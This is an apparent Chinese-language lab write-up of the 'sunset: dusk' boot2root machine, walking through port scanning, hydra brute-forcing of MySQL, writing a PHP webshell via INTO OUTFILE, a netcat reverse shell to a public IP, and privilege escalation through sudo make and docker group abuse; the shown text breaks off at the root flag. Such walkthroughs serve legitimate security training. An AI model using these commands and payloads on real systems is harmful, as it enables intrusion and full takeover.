靶机信息
Name: sunset: dusk
Date release: 1 Dec 2019
Difficulty: Beginner
Task:boot2root
关键知识点、工具:
- 信息收集
- Mysql弱口令爆破
- Mysql写入WebShell
- WebShell反弹交互式shell
- sudo滥用提权
- 利用docker提权
渗透过程:
网络信息:
靶机IP:192.168.2.19
攻击机IP:192.168.2.20
信息收集
nmap -A -T5 192.168.2.19
目标开放21,22,25,80,3306,8080端口。
80端口是apache2默认页面,dirb目录扫描没有收获。
8080端口是个web:
有两张图片可以访问,以及得知了一个php的绝对路径。dirb目录扫描没有收获。
21,22,25端口目前信息还不足以进行相应的尝试。
mysql弱口令爆破
3306可能存在默认账号root的弱口令,使用hydra进行爆破尝试:
hydra -l root -P ../rockyou.txt 192.168.2.19 mysql
mysql弱口令爆破参考资料: https://www.freebuf.com/news/162036.html
运气还不错,root账号密码是password。
mysql写入webshell
现在知道php的绝对路径,还知道mysql的账号密码,那么可以向目标写入webshell。
mysql远程连接:
mysql -h 192.168.2.19 -p3306 -u root -ppassword
mysql远程连接参考资料:https://www.cnblogs.com/gaoBlog/p/13152720.html
写入一句话木马:
select "<?php system($_GET['s3lf']); ?>" into outfile '/var/tmp/selph.php';
由于我当前kali上没装菜刀蚁剑啥的,所以直接写成从GET方法获取命令了
这里不知道为啥,一执行命令就500,这里我把靶机重装了一遍就好了,现在靶机IP为192.168.2.21
通过GET参数执行命令:
反弹shell
nc -c bash 123.207.145.80 443
提权到dusk
cat /etc/passwd
得知用户名:dusk
sudo -l
有三个命令可以免密码使用dusk账号执行:ping,make,sl
可sudo权限滥用命令查询:https://gtfobins.github.io/#
这里的make命令可以用来提权.
sudo -u dusk make -s --eval=$'x:\n\t-'"/bin/sh"
提权到root
在dusk的shell下,不能执行sudo -l
.
查看dusk账号信息:
id
docker是使用root权限运行的,dusk在docker组里,那么可以使用docker执行命令来实现提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
alpine是体积超小的docker容器
不知道为啥,python弹的交互shell里面打字都会变成双写(虽然也可以识别)但,只有把命令复制黏贴进去才能不是双写的,希望知道的老哥能够指点一二。
get flag
user flag:
# cat /home/dusk/user.txt
08ebacf8f4e43f05b8b8b372df24235b
root flag: